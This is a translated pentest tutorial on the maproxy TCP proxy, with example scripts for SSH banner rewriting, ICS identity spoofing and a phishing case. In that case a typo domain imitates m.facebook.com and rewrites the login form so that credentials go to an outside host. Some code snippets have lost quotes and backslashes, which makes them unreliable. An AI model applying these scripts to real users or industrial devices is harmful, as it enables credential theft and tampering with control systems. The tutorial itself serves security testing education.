Processing network data on the fly

The translation of the article was prepared on the eve of the start of the course "Pentest. Penetration Testing Practice".

Processing network data on the fly

Abstract

Various types of security assessments, ranging from regular penetration testing and Red Team operations to hacking IoT / ICS devices and SCADA, involve working with binary network protocols, that is, in fact, intercepting and modifying network data between the client and the target. Sniffing network traffic is not a difficult task since we have tools such as Wireshark, Tcpdump or Scapy, but modification seems to be a more difficult task, since we will need to have a kind of interface to read network data, filter it, change it on the fly and send it back to the target host in near real time. In addition, it would be ideal if such a tool could automatically work with multiple parallel connections and be customizable using scripts.

One day I discovered a tool called maproxy, the documentation quickly made it clear to me that maproxy - just what I need. This is a fairly simple, versatile, and highly customizable TCP proxy. I tested this tool on some fairly complex applications, including ICS devices (which generate a lot of packets) to see if it could handle many concurrent connections, and the tool performed well.

This article will introduce you to on-the-fly network data processing with maproxy.

Review

Tool maproxy is based on Tornado, a popular and mature Python asynchronous networking framework.

In general, it can work in several modes:

  • TCP:TCP – unencrypted TCP connections;
  • TCP:SSL ΠΈ SSL:TCP – with one-way encryption;
  • SSL:SSL - two-way encryption.

It comes as a library. For a quick start, you can use sample files that reflect the main library functions:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Case 1 - simple bidirectional proxy

Based on tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

By default ProxyServer() takes two arguments - the connection location and the target port. server.listen() takes one argument - the port to listen for the incoming connection.

Script execution:

# python tcp2tcp.py

In order to test, we are going to connect to a local SSH server through our proxy script that is listening on 2222/tcp port and connects to a standard port 22/tcp SSH servers:

Processing network data on the fly

The welcome banner informs us that our sample script has successfully proxyed network traffic.

Case 2 - data modification

Another demo script logging_proxy.py ideal for interacting with network data. The comments in the file describe class methods that you can modify to achieve your goal:

Processing network data on the fly

The most interesting here:

  • on_c2p_done_read – to intercept data on the way from the client to the server;
  • on_p2s_done_read - reversed.

Let's try to change the SSH banner that the server returns to the client:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Execute the script:

Processing network data on the fly

As you can see, the client was misled because the SSH server name was changed to Β«DumnySSHΒ».

Processing network data on the fly

Case 3 - a simple phishing web page

There are an infinite number of uses for this tool. This time, let's focus on something more practical from Red Team's realm of operations. Let's imitate the landing m.facebook.com and use a custom domain with an intentional typo, for example, m.facebok.com. For demonstration purposes, let's just assume that the domain is registered by us.

We are going to establish an unencrypted network connection with our victim proxy and SSL Stream for the Facebook server (31.13.81.36). To make this example work, we need to replace the HTTP host header and embed the correct hostname, and we'll disable response compression so we can easily access their content. Ultimately, we will replace the HTML form so that the login credentials are sent to us, instead of the Facebook servers:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/en/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

In summary:

Processing network data on the fly

As you can see, we were able to successfully replace the original site.

Case 4 - Porting Ethernet/IP

I have been dealing with industrial devices and software (ICS/SCADA) for quite some time such as programmable controllers (PLCs), I/O modules, drives, relays, ladder programming environments and more. This case is for those who like industrial stuff. Hacking such solutions involves actively playing with network protocols. In the following example, I would like to show how you can modify ICS/SCADA network traffic.

To do this, you need the following:

  • Network sniffer like Wireshark
  • Ethernet/IP or just a SIP device, you can find it using the Shodan service;
  • Our script is based on maproxy.

First, let's see what a typical CIP (Common Industrial Protocol) identification response looks like:

Processing network data on the fly

Device identification is carried out using the Ethernet/IP protocol, which is an extended version of the Ethernet protocol for industrial purposes, it wraps management protocols such as CIP. We are going to change the highlighted id name as seen in the screenshot. "NI-IndComm for Ethernet" using our proxy script. We could reuse the script logging_proxy.py and similarly modify the class method on_p2s_done_read, since we want a different identity name to be visible on the client.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

In fact, we requested device identification twice, the second response is original, and the first one was modified on the fly.

And the last

In my opinion maproxy a handy and simple tool that is also written in Python, so I believe that you too can benefit from its use. Of course, there are more sophisticated tools for processing and modifying network data, but they also require more attention and are usually created for a specific use case, for example, Muraena, Modlishka or evilginx for cases similar to the third, or couch for the last case. One way or another, with maproxy you can quickly implement your ideas for intercepting network data, since the script examples are very clear.

Testing Authentication Mechanisms in Windows AD

Source: habr.com

Add a comment